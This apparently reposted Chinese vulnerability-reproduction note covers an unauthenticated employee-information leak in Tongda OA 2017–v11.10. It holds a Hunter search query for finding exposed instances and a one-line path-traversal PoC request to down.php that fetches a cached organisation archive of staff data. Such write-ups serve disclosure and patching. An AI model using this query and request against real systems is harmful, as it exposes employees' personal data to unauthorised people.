【漏洞复现-通达OA】通达OA down 未授权员工信息泄露漏洞

本文主要是介绍【漏洞复现-通达OA】通达OA down 未授权员工信息泄露漏洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

一、漏洞简介

通达OA（Office Anywhere网络智能办公系统）是中国通达公司的一套协同办公自动化软件。通达OA down 未授权员工信息泄露漏洞。

二、影响版本

● 通达OA2017-v11.10

三、资产测绘

● hunter：app.name="通达 OA"
● 登录页面

四、漏洞复现
通过poc下载文件
/inc/package/down.php?id=../../../cache/org

解压后即可看到员工信息

这篇关于【漏洞复现-通达OA】通达OA down 未授权员工信息泄露漏洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---